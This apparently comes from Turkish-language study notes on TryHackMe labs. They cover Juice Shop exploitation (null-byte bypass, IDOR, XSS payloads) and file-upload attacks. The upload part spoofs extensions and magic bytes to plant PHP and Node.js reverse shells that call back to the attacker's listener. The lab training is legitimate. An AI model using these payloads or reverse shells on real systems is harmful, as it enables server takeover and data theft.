- buna benzer bir url göreceksiz
- garip olan ftp dizinini görebiliyor olmamız
- hadi bu dizine ulaşabiliyor muyuz ona bakalım: http://10.10.202.253/ftp/
- evet ulaşabiliyoruz
- burada daha farklı dosyalara ulaşabiliyoruz
- bizden istenen bu dosyayı indirmemiz: acquisitions.md
- ve sonrasında bir bayrak ile verilecek: edf9281222395a1c5fee9b89e32175f1ccf50c5b
- soru: MC Güvenli Arama'nın hesabına giriş yapın!
- bu kısımda aslında anlatılmak istenen şey:
- herhangi bir yerden örn: video da ele alınan bir konu üzerinden veya kelimeden çıkarım yapılarak bir sonuca/bilgiye ulaşılabilir
- zaten burada bize gerekli argumanlar verilmiş:
- mc.safesearch@juice-sh.op | Mr. N00dles
- bu hesaba giriş yapalım
- elde edilen bayrağımız: 66bdcffad9e698fd534003fbb3cc7e2b7b55d7f0
- soru: package.json.bak dosyasını indirin!
- bu dosyayı indirmek için daha önce elde ettiğimiz ftp dizinine gidelim: http://10.10.202.253/ftp
- indirmek istediğimiz hata alıyoruz. Bu hata bize "sadece .md ve .pdf dosyaları indirilebir" olduğunu söylüyor. Bunu nasıl çözeriz?
- bunun için "poison null byte" => bu üç karakter yan yana geldiğinde kendinden sonra gelenleri yorum satırı yapmaktadır => %00
- bizde bu yöntemi kullanarak bir atlatma uygulayarak hedef web sitesindeki ftp dizin içerisindeki dosyayı indireceğiz
- http://10.10.202.253/ftp/package.json.bak bu urlde http://10.10.202.253/ftp/package.json.bak%00 şöyle yaparak atlatma yapıp dosyanın inmesini sağlayacağız
- fakat URL yi kullanarak indirebildiğimiz için bunu URL kodlu bir formatta kodlamamız gerekecek. Yani:
- http://10.10.202.253/ftp/package.json.bak%2500.md yaparak hem onun istedeği olmuş oluyor fakat biz istediğimiz sonuca varmış oluyoruz
- bunu iki şekilde de denemekte fayda var:
- http://10.10.202.253/ftp/package.json.bak%2500.md karakter bypass ı url formatlı
- http://10.10.202.253/ftp/package.json.bak%00.md karakter bypass ı
- Bu neden işe yarıyor?
- Poison Null Byte aslında bir NULL sonlandırıcıdır.
- Dizenin belirli bir bayta bir NULL karakteri yerleştirilmesiyle, dize sunucuya bu noktada sonlandırmasını söyleyecek ve dizenin geri kalanını geçersiz kılacaktır.
- ' Broken Access Control : Bozuk Erişim Kontrolü
- burada admin paneline erişmemiz isteniyor
- daha önce admin parolasını elde etmiştik
- ancak doğrudan bir bağlantı üzerinden değil de bir yönetim paneli arayarak bunu gerçekleştirmemiz gerekiyor
- bir javascript dosyası üzerinde web yönetim sayfası arayacağız ve yönetim paneline ulaşacağız
- öncelikle admin olarak giriş yapalım: admin@juice-sh.op | admin123
- giriş yaptıktan sonra doğrudan yönetim paneli verilmeyebilir
- yani admin hesabına girdikten sonra bile url kısmına elle yazılarak bir girdi yapılması gerekebilir
- böylesi bir durumda ayrıca yönetim panelini ayrıca tespit etmek gerkiyor
- bizde javascript dosyası üzerinden admin yönetim paneline erişmeye çalışacağız
- bunun için sağ tıklayıp inspect e gidelim
- ardından debugger kısmından javascript kodlarına ulaşabilir
- buradaki her bir JS dosyasını ayrı ayrı inceleyebiliriz ilk olarak: main-es2015.js bu dosyaya bakalım
- Bunu okuyabileceğimiz bir formata dönüştürmek için alttaki { } düğmesini tıklayın
- ctrl+f ile path diye bir arama yaparsak yollar ile ilgili bilgileri içeren başlıkları karşımıza çıkaracaktır
- burada ki her sonucu ayrı ayrı incelemek gerekiyor
- arama kısmında sağ tarfta ok tuşları ile bunu yapabilirsiniz
- inceleme yaparken şöyle bir yol görüyoruz: path: 'administration'
- hemen bunu kontrol edelim url de: http://10.10.58.147/#/administration
- elde ettiğimiz bayrak: 946a799363226a24822008503f5d1324536629a0
- böylelikle yönetim paneline erişmiş oluyoruz
- şimdi de admin alış veriş sepetinden başka bir kullanıcının alış veriş sepetini görüntülenmemizi istiyor bizden
- bunun için burp suiteden yaralanacağız
- daha önce bununla ilgili detaylı bilgi verilmiştir
- şimdi bu araç üzerinden mağzaya gidip admin hesabı ile giriş yaparak bir kaç bir şey ekleyelim
- ve sepete gidelim
- şimdide burp suite de intecept on yapalım ve sayfayı yenileyerek paketleri yakalayıp başlık bilgilerini inceleyelim
- şöyle bir uzantı gördük: /rest/basket/1
- proxy kısmında bu id değerini değiştiirip forward diyelim
- bakın başka bir kullanıcının sepetine yönlendirdi bizi
- bayrağımız: 41b997a36cc33fbe4f0ba018474e19ae5ce52121
- bu bayrak burp suite üzerinden görünmez ise sanal makine browser ında deneyin ve admin hesabınına girin orada görünecektir
- geri yönetim panelinden geribildirimi beş yıldız olanı silmemiz isteniyor
- silip bayrağımızı alalım
- 50c97bcce0b895e446d61c83a21df371ac2266ef
- ' Cross Site Scripting CSS/XSS : Siteler Arası Komut Dosyası Çalıştırma
- bu kısımda XSS açığını üç farklı nokta istismar edeceğiz
- XSS açının payload larını hatırlayaxak olursanız yığınla vardı.
- bizde bunlardan faydalanarak işlemlerimizi yapcağız
- adım1:
- aram kısmına: <iframe src="javascript:alert(`xss`)"> yazalım
- bir alert kutusu ekranda belirdi
- buna: DOM XSS (Belge Nesnesi Modeli Tabanlı Siteler Arası Komut Dosyası Çalıştırma) denir
- bununla birlikte ilk doğrulamamızı yapmış oluyor XSS zafiyetinin olduğuna dair
- bayrak: 9aaf4bbea5c30d00a1f5bbcfce4db6d4b0efe0bf
- adım2:
- bu kısımda, sisteme son giriş yapıldıktan sonra IP adresinin kayıt edildiği bir alan var
- burada burp suite kullanacağız
- normalde IP adresinin bulunması gereken bir alan biz XSS payloadı ekleyerek bu payload ın kayıt edilmesini sağlayacağız
- burp suite yi çalıştıralım
- bu kısıma gidelim: http://10.10.58.147/#/privacy-security/last-login-ip
- proxy ile intercept on yapalım ve hesaptan çıkış yapalım
- son girilen IP kayıt ediliyor biz bu kısımda ayrıca parametre olarak ekleyeceğiz: <iframe src="javascript:alert(`xss`)">
- sağ tarafta request header kısmına gidelim
- ekleme yapacağız bu yüzden + işatetine tıklayın: name: True-Client-IP , value: <iframe src="javascript:alert(`xss`)">
- add deyip ekleyin
- daha sonra forward deyin
- ve daha sonra intecept off yapın
- admin hesabından: http://10.10.58.147/#/privacy-security/last-login-ip
- bu adrese gidin
- ve kalıcı XSS i yerleştirmiş olduk
- bayrak: 149aa8ce13d7a4a8a931472308e269c94dc5f156
- buna: Persistent XSS, sunucu onu içeren sayfayı yüklediğinde çalıştırılan javascripttir. Yani:
- Bunlar, sunucu bir sayfaya yüklendiğinde kullanıcı verilerini temizlemediğinde ortaya çıkabilir. Bunlar genellikle blog yazılarında bulunur.
- adım3:
- bu kısımda önceki alış verişlerin kaydedildiği bir alan var
- burada ki güvenlik açığını tespit edelim
- öncelikle adım hesabı ile üye girişi yapalım
- admin@juice-sh.op | admin123
- bu kısımda admin kullanıcısının önceki alış verişlerini kontrol ediyoruz: http://10.10.58.147/#/order-history
- track order kısmında url de id parametresini görüyoruz
- bununla ilgili bir sipariş no var
- biz bu aland XSS i kontrol etmek istediğimiz zaman: 10.10.58.147/#/track-result?id=<iframe src="javascript:alert(`xss`)">
- ekleyip sayfayı yenilediğimiz zaman gerçekleştirebilmiş oluyoruz
- buna: Reflected XSS yani:
- web uygulamasının istemci tarafında çalıştırılan bir javascripttir. Bunlar genellikle sunucunun arama verilerini temizlemediği durumlarda görülür.
- bayrak: 23cefee1527bde039295b2616eeb29e1edc660a0
- bu kısımda norlmalda id parametresi bir sipariş no beklerken biz o kısmı değiştirerek XSS payload ı ekledik ve burada da istediğimiz sonucu elde etmiş olduk
22.Study: ' Upload Vulnerabilities : Yükleme Güvenlik Açıkları
- Giriş - Ayarlar:
- Sonraki adımdalarda web sitelerindeki Uploads güvenlik açıklarını ele alacağız
- bu kısımda hedef sistemin başlatılmasına ve ayarlarına bakacağız
- etc/hosts dosyasında bir düzenleme yapmamız gerekiyor
- çünki: hedef makine birden fazla alt domanin var
- burada ki bilginin hosts dosyasına kayıt edilmesi gerekiyor:
10.10.172.65 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm
- çünkü daha sonrakii uygulamalarda IP üzerinden değil de domain ler üzerinden işlemler yapacağız
- şimdi: sudo mousepad /etc/hosts ile dosyayı açalım
- daha sonra verilen bilgiyi burada en alt satıra ekleyip ctrl+s yapın ve çıkın
- cat /etc/hosts ile okuyun
- eklenmiş olduğunu teyit edin
- şimdi kontrol için bir tanesini kontrol edelim browser da mesela: http://overwrite.uploadvulns.thm/
- sitenin açıldığını göreceksiniz.
- Introduction:
- upload güvenlik açıkları hedef sistem için kritik düzey zafiyet oluşturabilcek güvenlik açıklarıdır
- ve büyük oranda her web sitesinde dışarıdan upload edilmesi gereken dosyalar vardır
- yeterli doğrulamaya ve doğrulamaya sahip olmayan sistemde bu açık ortaya çıkabilir ve istismar edilebilir
- sonraki adımlarda:
- Overwriting existing files on a server : Sunucudaki mevcut dosyaların üzerine yazma
- Uploading and Executing Shells on a server : Kabukları bir sunucuya Yükleme ve Yürütme
- Bypassing Client-Side filtering : İstemci Tarafı filtrelemeyi atlama
- Bypassing various kinds of Server-Side filtering : Çeşitli Sunucu Tarafı filtrelemeyi atlamak
- Fooling content type validation checks : içerik türü doğrulama denetimlerini kandırma
- konularını ayrı ayrı ele alacağız
- General Methodology :
- upload güvenlik açıkları için uygulanacak yöntemler tamamen sistemin verdiği tepkiye göre değerlendirilir ve seçilir
- ama herşeyden önce sistemde bir upload noktası bulmak gerekir
- bunun için gubuster ve benzeri dizin tarama araçları kullanılabilir
- ve bu sayede upload noktaları tespit edilir
- sudo apt install gobuster komutu ile bu aracı kurabilirsiniz
- Overwriting existing files on a server : Sunucudaki mevcut dosyaların üzerine yazma
- bu kısımda var olan dosya üzürine yazma yöntemini kullanarak bir istismar gerçekleştireceğiz
- openvpb ile try hackme ye bağlı olduğunuzu varsayıyorum.
- hosts dosya içerisindeki en son eklediğimiz satırı hatırlarsanız orada ıp var eğer tryhackme üzerinde IP değişmiş ise burada da değiştirin ki bağlanmakta sorun yaşamayın
- şimdi burada bize bie demo örneği vermiş ve bunu farklı bir domainde yapmamızı istiyor
- anlatılan:
- ilgili web adresine gidilmiş ve burada bir köpek resmi var
- burada bir upload butonu var ve bu butona basmadan önce sayfa kaynak kodunu kontrol ediyor
- images dizini altında spanil.jpg dosyasını yani ana sayfada bulunan resmin konumu buluyor
- daha sonra kendi resmini upload etmeden önce resmin ismini spanil.jpg olarak değiştiriyor
- ve var olan dosya üzerine yazmış oluyor
- ve bu uygulamayı bizimde http://overwrite.uploadvulns.thm bu web sitesinde yapmamızı istiyor
- uygulamaya geçelim.
- önce kendinize bir yükleyeceğiniz bire resim bulun
- daha sonra ilgili adrese gidin
- ctrl+u ile kaynağı görüntüleyin
- <img src="images/mountains.jpg" alt=""> evet resmin kaynağını bulduk
- şimdi de mevcut resminizin burada ki resim ismi ile aynı olmasına dikkat edin
- sitedeki upload kısmından dosyanızı yükleyin
- başarılı olduğu takdir size bir bayrak verecek: THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}
- sorular:
Üzerine yazılabilecek görüntü dosyasının adı nedir? : mountains.jpg
Resmin üzerine yazın. Aldığınız bayrak nedir? : THM{OTBiODQ3YmNjYWZhM2UyMmYzZDNiZjI5}
- RCE (Remote Code Execute) : Uzaktan kod çalıştırma | Uploading and Executing Shells on a server : Kabukları bir sunucuya Yükleme ve Yürütme | WEB Shell Upload and Executing
- bu kısımda anlatılan bir dizin tarama aracı (gobuster) kullanılarak yükleme dizini aranıyor
- daha sonra ilgili shell dosyası bu dizini yüklenerek bir ters kabuk elde edilir
- daha sonra ilgili port dinlenir ve bize ayrıcalıklı bir alan sunarak komutlarımızı daha doğrusu istediğimiz yapabileceğimiz bir ortam sunar
- bu uygulama için bağlantı: http://shell.uploadvulns.thm
- öncelikle webshell ayarlayalım
- bunun için locate webshell yazarak bu dosya aratalım
- eğer seclist i install ettiyseniz : /usr/share/webshells/php/php-reverse-shell.php
- bu dosya olacaktır
- eğer yoksa: sudo apt install seclists edinebilirsiniz
- bu dosya reverse shell bağlatı almamızı sağlayacak
- bu dosyayı: cp /usr/share/webshells/php/php-reverse-shell.php .
- ile bulunduğunuz konuma kopyalayın
- daha sonra mousepad php-reverse-shell.php ile dosyayı açın ve bu iki kısmı değiştirin
- ip kısmı openvpn ile bağlandığınızdaki ip yi girin
$ip = '10.9.2.12'; // CHANGE THIS
$port = 4444; // CHANGE THIS
- daha sonra kaydedip kapatın
- ve bu netcat aracı ile bu dosyayı dinlemeye alacağız
- nc -nlvp 4444 şuan bu port dinlemeye aldık
- şuanda bu php reverse shell dosyası hedefe upload edilip çalıştırıldığı anda terminalde bağlantı gelecektir
- şimdi bu dosyayı upload edelim web sitesine : http://shell.uploadvulns.thm/
- upload ettik: http://shell.uploadvulns.thm/?submit=success
- ama daha çalışmadı ve nereye kayıt edildiğini bilmiyoruz
- bunun içinde gobuster aracı ile bu dizini bulalım
gobuster dir --url http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- hedef url den metin dosyası içerisindekiler taranarak neler var onları bulalım
- şuanlık bu dizinler bulundu:
/resources (Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]
/assets (Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]
- araç çalışmaya devam ederken biz de bu dizinleri kontrol edelim
- http://shell.uploadvulns.thm/resources/php-reverse-shell.php
- elde edilen dizin yanına dosya isminide ekleyerek bunu browser da url kısmına yazalım eğer buradaysa terminale bilgi gidecektir:
- ters bağlantımızıda böylelikle almış olduk
- sorular:
Yukarıdaki ekran görüntüsündeki sözdizimini kullanarak web sitesinde bir Gobuster taraması çalıştırın. Yüklemeler için hangi dizin kullanılabilir? : /resources
Makineye bir ağ kabuğu veya bir ters kabuk alın. Sunucunun /var/www/ dizinindeki işaret nedir? :
önce terminalde kontrol edelim bu dizini: ls /var/www/
flag.txt dosyası gördük
bunu okumak için: cat /var/www/flag.txt
bayrak: THM{YWFhY2U3ZGI4N2QxNmQzZjk0YjgzZDZk}
- Client-Side filtering : İstemci Tarafı filtreleme
- bu filtreleme, kullanıcı browser ında gerçekleşen filtreleme dir yani bizim browser ımızda yapılan kontroldür
- bu istemci taraflı filtremeyi aşmak kolaydır
- burp suite ile araya girilerek işlemler gerçekleştirilir
- ve sunucuya gönderilen bilgiler browser dan çıktıktan sonra değiştirilir ve o şekilde sunucuya gönderilir ve bu filtreleme işlemi atlatılabilir
- burada beş farklı filtreleme türünden bahsedebiliriz
- daha sonra uygulamaları yapılacaktır
- uzantı doğrulaması olabilir
- dosya türü filtrelemesi olabilir
- dosya uzunluğu filtrelemesi olabilir(dosya boyutu)
- dosya adı filtrelemesi olabilir
- dosya içeriği filtrelemesi olabilir
- sorular:
Geleneksel olarak baskın olan sunucu tarafı kodlama dili nedir? : php
Dosya uzantısına göre doğrulama yaparken, kabul edilen uzantıların listesine ne denir (buna göre sunucu, listede olmayan herhangi bir uzantıyı reddeder)? : whitelist
[Araştırma] Bir CSV dosyasını yüklerken hangi MIME türünü görmeyi beklersiniz? : bunun için: csv mime type google aratırsanıt: => text/csv
- Bypassing Client-Side filtering : İstemci Tarafı filtrelemeyi atlama
- bizden istenen bu web sitesine : java.uploadvulns.thm bir shell uploa etmemiz ve /var/www dizini altındaki bayrağı almamız isteniyor
- öncelikle sitede keşif amaç bir turlayalım ne var bakalım: http://java.uploadvulns.thm
- diğerleri ile aynı şimdi locate webshell de php reverse dosyasını bulup ip bilgiisni openvpb ip si ile değiştirelim daha sönce yaptığımız gibi
- ve bu dosyayı siteye yüklemeye çalışalım: ama dosya tipinden dolayı izin vermedi o halde şunu deneyelim
- mv php-reverse-shell.php shell.png ile dosya adı ve uzantısını değiştirdik şimdi deneyelim
- ve evet sanırım uzantıdan dolayı bir filtreleme var şimdide port dinlemesi yapalım
- kaynak koda tekrar bakalım ve : <script src="assets/js/client-side-filter.js"></script> bu dosya filterme yapıyor bunu response da yakalyıp deaktif etmeliyiz
- bu sırada da dizin listelemk için: gobuster dir --url http://java.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- çalıştıralım ve şimdi de dosya aktarma işlemine geri dönelim
- bu dosya çalışması lazım ki ters bağlantı alalım
- bunun için: burp suite yi kullanacağız
- burp suiti açın ve proxy sekme sinde ve browser dan foxy brox i aktif edin
- daha sonra http://java.uploadvulns.thm yi browser da url kısmına yazın ve giderken request i yakalayın
- burp suite de intercep is on olmasına dikkat edin ve yakalan request e sağ tıklayarak "Do İntercetp" => "Response to this request" e basaın ve forward deyin
- şu kısımı silin: <script src="assets/js/client-side-filter.js"></script>
- ve forward deyin
- shell.png dosyamızı web sitesinde seçip upload butonuna basın ve burp suite geri dönünün
- burada şu satırı:
Content-Disposition: form-data; name="fileToUpload"; filename="shell.png"
Content-Type: image/png
- şöyle değiştirelim
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: text/x-php
- ve tekrar forward deyin
- dönen yanıtta http başlığında şunu görüyor olmalısınız: GET /?submit=success HTTP/1.1
- şimdide terminalde çalıştırdığımız gonuster aracına bakalım
- sonuç olarak dosya yüklendi ama nerede olduğunu bilimiyoruz
- gobuster sonucu:
/.hta (Status: 403) [Size: 285]
/.htaccess (Status: 403) [Size: 285]
/.htpasswd (Status: 403) [Size: 285]
/assets (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/assets/]
/favicon.ico (Status: 200) [Size: 1742]
/images (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/images/]
/index.php (Status: 200) [Size: 1221]
/server-status (Status: 403) [Size: 285]
- teker teker bakabilirsiniz
- ve burp suite yi artık kapatabilirsiniz
- shell.png dosyanızda ki port numarasını dinlemeye alın: nc -nlvp 1234
- ve bulduğunuz dosya ya tıklayın
- ters bağlantı onayı terminalde dinlemeye aldığınız porttan size gelecektir
- soru: /var/www/ dosyasındaki bayrak nedir?
ls /var/www ile dizin içeriğini kontrol edelim
flag.txt
html
cat /var/www/flag.txt ile bu dosyayı okuyalım
THM{NDllZDQxNjJjOTE0YWNhZGY3YjljNmE2}
- burada asıl yapılan başta png olarak oluşturduğumuz shell dosyamızı
burp suite ile araya girerek istemci filtrelemesini atlarak
dosyamızı png den php asıl istediğimiz çalıştırılabilir kod bütünü haline getirdik
- Bypassing various kinds of Server-Side filtering : Çeşitli Sunucu Tarafı filtrelemeyi atlamak
- Sunucu Taraflı Filtreleme Atlatma - 1 (File Extensions(dosya uzantıları))
- hedef web sunucusu dosya uzantı kontrolü yaparken blacklist (girlemeyce/istenmeyen/tehlikeli uzantılara izin verilmez) kullanılmış olabilir
- bizden istenen: http://annex.uploadvulns.thm/ bu websitesine shell upload etmek
- hadi siteye gidelim ve hangi uzantıyı kabul edip etmediğine bakalım
- burada komutsal bir yönlendirme var
- help komutundan yararlanabiliriz
- select : bir dosya seçer
- upload : seçilen dosyayı yükler
- chosen : seçilen dosyanın adını verir
- select yazıp enter deyin dosyanızı seçin
- chosen yazıp enter deyin ve seçilen dosyanızı görüntüleyin
- ve upload deyin dosyanızı yüklemeye çalışın
- png kabul ediyor ama php uzantısnı kabul etmiyor
- daha önce zaten shell dosyası hazılamayı görmüştük
- dosya adımızı değitirerek sırayla deneyelim
- not: php3,php4,php5 gibi yazıldığında php dosyamız yine istenildiği çalışacaktır.
- mv shell.png shell.php3
- mv shell.php3 shell.php4 invalid
- mv shell.php4 shell.php5 success
gobuster dir --url http://annex.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- şimdide gobuster ile dizib taraması yapalım bakalım dosyamız nerede
- sonunç:
/.htaccess (Status: 403) [Size: 286]
/.hta (Status: 403) [Size: 286]
/.htpasswd (Status: 403) [Size: 286]
/assets (Status: 301) [Size: 331] [--> http://annex.uploadvulns.thm/assets/]
/favicon.ico (Status: 200) [Size: 1742]
/index.php (Status: 200) [Size: 797]
/privacy (Status: 301) [Size: 332] [--> http://annex.uploadvulns.thm/privacy/]
/server-status (Status: 403) [Size: 286]
- şimdi yüklenen dosyamızın nerede olduğuna bakalım burada dikkat çeken bir dizin var: /privacy , /assests
- dosyamız http://annex.uploadvulns.thm/privacy/ dizininde
- şimdi terminalden port dinlemeyi açalım: nc -nlvp 1234
- ve sonra bu dosyayı ilgili dizinde aktif edelim
- ve terminale ters kabuk bağlantımız geldi
- şimdide bizden istene: /var/www/ içindeki bayrak nedir?
cd /var/www
ls -lh
cat flag.txt
bayrak: THM{MGEyYzJiYmI3ODIyM2FlNTNkNjZjYjFl}
- Sunucu Taraflı Filtreleme Atlatma - 2 (Magic Numbers(sihirli sayılar))
- hedef web suncusu dosya kontrolü için her zaman uzantı kontrolü yapmayabilir
- içerik türünü de tespit etmeye çalışabilir yani:
- içerik türüne göre de değerlendirme yapabilir
- şimdi bunu uygulama üzerinden görelim
- hedef web sitemize geçelim: http://magic.uploadvulns.thm
- elimizdeki shell dosyamızı deneyelim bakalım kabul ediyormu bu sırada dizin tarama işlemini de başlatabiliriz
gobuster dir --url http://magic.uploadvulns.thm -w /usr/share/wordlists/dirb/common.txt
- shell.php5 dosyamızı upload etmeye çalıştık fakat olmadı bizden GIF türünde bir dosya isitiyor
- biz gıf dosyasıda deneyebiliriz fakat her zaman uzantıya değil içerik türünede bakabilir
- deneyebiliriz sinız
- kendi shell.php5 dosyamızın içerik türünü: file shell.php5 ile görüntüleyebiliriz: shell.php5: PHP script, ASCII text
- içerik türü olarak PHP script olarak görünüyor yani
- uzantısına bakmayıp bu bilgiyi baz alıyor olabilir
- eğer bu kısımı GIF yani içerik türünü GIF gibi tanıtabilirsek ozaman bir sonuç elde etme şansımız olur
- bunun için: browser da cat GIF diye bir arama yapalım
- farklı kaydet diyerek indirin büyük ihtimal Download dizininde
- açmak ini: open Downloads/giphy.gif kulanın veya xdg-open Downloads/giphy.gif
- şimdi bu dosyanın içerik türünü görüntüleyin
- Downloads/giphy.gif: GIF image data, version 89a, 480 x 480 bunun gibi birşey olmalı
- içerik olarak: GIF image data görünüyor
- bunun belirlenmesi de ilk satırda oluyor fark ettiyseniz
- head -n 1 | Downloads/giphy.gif yaptığımızda:
GIF89a����*.0▒2▒ 45 7'8 -<
=#=2?8"A(C
F5J$J<&K+NF.O0▒Q&R5T)V+V9#VB*VK4[0[<%[P9^3_@(_G/aU=b8!c=%c[BeL4eeJfC+fnRg�dj8j?)kP8kwZlI0mV>nB&nD.o`GqM4rG0rU<sG,s[BsjPtP6v<vJ1v�bv�qwH.wT:wX>w_FxJ0yI2yK2zC zfLzqW{K2{O4}\B~L0~�zL3M5U9�dH�CZ@�nS����Q8�{`�X8�_B�S6�I�T:�hK��o�S1�cG�uZ�mP�[>�fH����_B��g��w�z^����P �[3�cD�jK�qS��l�lK����gH��|�vW�W"�~_�oN�b8�kH��n�tU����sL��c����pM�z[��r�_#�g8�yS�ƣ��vQ��_��w����e'�n<�X�����e�zT�Ұ��y�l-�~V��b��j�o5��}��Y�s7��f��n����v7��]��w�y;��k��q��}A���ÎbÜxĥ}�{6łFŕnǛpǻ���¡ɀ;ɇLɔeʣ~Bo΅=Ϊ�ϊIϡs�ؼѐSAү�ӗ`ԠsՎI֍E|Oش�eڑHS�ܔK�ҴޙVޥj��à��M��Z��l��N��Q��_��V��[��h��Q��{��X��T��~��b뵀���������!���X��\��c��Y��n��_��i�Ǔ��[��l��_��e��}��l��t�Ϝ��p�ŀ��z������"
NETSCAPE2.0!��,���(e���;����Б�L�q�Hq�ŋ▒+>lT�P; �c��G�bŒ�/b]�F�淛8s����?�Z�ٳ蹣��&]�4���P�J�J�իU͵�Jo]��`�:%�u,װNϦ]{�뽷p��V�ݻp��e���Z���
- şöyle bir şeyle karşılaşacağız ve GIF i ilk satırda göreceksiniz
- bu değer hedef dosyanını ilk satırı alıp (yapıştırmak için: crtl+shift+v)
- bunu alıp nano shell.php5 dosyamızı açarak en üstte <?php nin üzerine ekleyip crtl+x y enter sırayla yaptığımızda ise file ile php dosyamızı tekrar kontrol edelim
- file shell.php
shell.php5: GIF image data, version 89a, 49135 x 61373
- artık bir gıf dosyası gibi oldu
- deneme amaçlı olarak virustotalde bir deneyelim
- ve 62 de 13 yani eğer bilinçsiz kullanıcı iseniz geçmiş olsun
- başka bir yöntemde hexdecimal değerler ile oynamak: https://en.wikipedia.org/wiki/List_of_file_signatures
- öncelikle nano shell.php5 diyerek açalım ve en üst kısma: AAAA ekleyelim
- hexeditor shell.php5 ile açalım ve daha sonra en üstte şu ibareyi göreceksiniz: 41 41 41 41 41 41 => AAAAAA
- şimdi bu kısımı üstte verilen linkten GIF iyi arayarak bu sayılar ile değiştirelim => 47 49 46 38 39 61
- hexeditor shell.php5 ile açıp bunu 41 lerin bulunduğu satıra ekleyelim
- ve sonra ctrl+x enter sonra da kontrol edelim: file shell.php5: shell.php5: GIF image data, version 89a, 15370 x 28735
- hazırladığımız shelll i web sitesine yükleyelim
- ama önce nc -nlvp 1234 ile port dinlemeye alalım
- web sitesine yükleme işlemi onyalandı urlden: http://magic.uploadvulns.thm/?submit=success
- şimdide dizine geçelim ve shell i aktif edelim
- dizinimiz: /graphics
- bir sorunumuz daha var erişim iznimiz yok bu dizine :)
- şimdide dosyamızın doğrudan tam yolunu yazmayı deneyelim: http://magic.uploadvulns.thm/graphics/shell.php5
- uzantımzımız php olarak ayarlayıp yükleyip tekrar deneyelim: http://magic.uploadvulns.thm/graphics/shell.php
- ben yanlış yapmışım ayarlamarı en baştan bir gözden geçirelim:
- /etc/hosts dosmaızı ayarladık
- locate webshell php- ile php-reverse-shell dosyamızın nerede olduğunu bulduk
- cp /usr/share/webshells/php/php-reverse-shell.php . yaparak bulunduğumuz yere kopyaladık
- ve ip,port bilgileri ayarladık ip bilgisi bizim openvp ile bağlandığımız kendi ip miz port u da mevcut kalabilir
- daha sonra shell.php olarak tekrar adlandık
- iki farklı dosya içerik türünü değiştirmeyi yaptık
- daha sonra web sitesine upload ettik
- gobuster ile dizin taradık ve : /graphics dizini bulduk
- ama erişim kısıtı vardı
- nc -nlvp 1234 port dilmeme aldık
- ve bu sefer tam yol belirttik
- ve bağlantı geldi
- eğer sizde bağlatı alamadyısanız adımlarınızı kontrol edin
- veya makineye baştan başlatın yalnız sudo /etc/hosts dosyanız da en son eklediğimiz biligilerdeki ıp değerini yenisi ile değiştirmeyi unutmayın
- daha sonra gelen bağlantıda bizden istene: /var/www dizini altındaki bayrag nedir?
- bayrak: THM{MWY5ZGU4NzE0ZDlhNjE1NGM4ZThjZDJh}
- Fooling content type validation checks : içerik türü doğrulama denetimlerini kandırma
- Upload İstismar Metodolojisi
- ilk olarak hedef web sitesinde upload noktası bulmamız gerekiyor
- ikinci olarak hedef web sitesinin kabul ettiği dosya uzantısı tespit edilmeye çalışılır
- eğer istemci taraflı dosya uzantı kontrolcüsü varsa burp suite ile araya girilerek uzantı değiştirilebilir
- eğer sunucu taraflı bir kontrol varsa ozaman da php uzantılı çalışmasını sağlacak farklı yöntemler denenebilir örn: php3,php4,php5 ... gibi deneme yapılabilir
- üçüncü olarak hedef sistem dosya uzantısı yerine içerik türüne bakabilir
- bu durumda da içerik türü manipüle edilerek shell dosyası upload edilmeye çalışılabilir
- upload edilen dosya yolu her zaman karşımıza çıkmayabilir yani o anda nereye upload edildiği gösterilmeyebilir
- bu durumda da dizin tama arçları(gobuster vb) kullanılarak dizin tespiti yapılmaya çalışılır
- ve bu sayede istismas gerçekleştirilebilir
- Upload Güvenlik Açığı İstismarı
- uygulama yapacağımız web sitesi : http://jewel.uploadvulns.thm
- gideli ve bir de dosya indirmemiz gerek onu da indirelim: UploadVulnsWordlist_1593564107766.txt
- bunun içeriğinede bakalım
- indirilen dosya bir wordlist
- pekala bu uygula gerçekten zorlayıcı olacak
- işimizi kolaylaştırmak adına bu wordlist ama biz bunu kullanmadan web site üzerinde inceleme yaparak yapcağız
- bunu akabinde bu dosyaya benzer bir dosyayı kendimiz hazırlayacağız
- şimdi hedef domain adresini inceleyelim: http://jewel.uploadvulns.thm
- ek olarak firefox umuza yani kendi browser ımıza wappalayzer eklentisi için: https://addons.mozilla.org/tr/firefox/addon/wappalyzer/
- gidelim ve ekleyelim
- bu eklenti bize wen site teknolojisi hakkında bilgi verecek
- ve sayfayı yenileyelim kurulumdan sonra ve kendi web sitemize gidelim
- bu web sitesinin programlama dilinin node.js olduğunu görüyoruz
- önceki eğitimlerde php ile programlanmış web sitelerini hack lemiştik
- ama bu node.js ile kullanıldığından buna uygun shell kullanmamız gerekiyor
- sitemiz: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs
- buradaki NodeJS olan kodları kullanacağız
şunu:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
- ters bağlantı almak için, port ve ip bilgisini değiştirmeyi unutmayın (ip bizim ip miz)
- şimdi touch shell.js adında bir dosya oluşturalım ve bu kodu oraya yapıştıralım
- şimdi websitesinin de kkabul ettiği dosya uzantısına bakalım
- jpg uzantısını kabul ediyor
- o halde js uzantılı dosyamızı jpg olarak değiştirelim ve burp suite de araya girerek değiştiremeye çalışalım
- dosya formatını de değiştirememiz gerekiyor format hatası aldık bu iki farklı yöntemle yapmıştık zaten
- ben hexeditor ile yapıyoru: bu jpg buldum: FF D8 FF DB
- ve benim eklediğim: AAAA => 41 41 41 41
- file shell.jpg => shell.jpg: JPEG image data
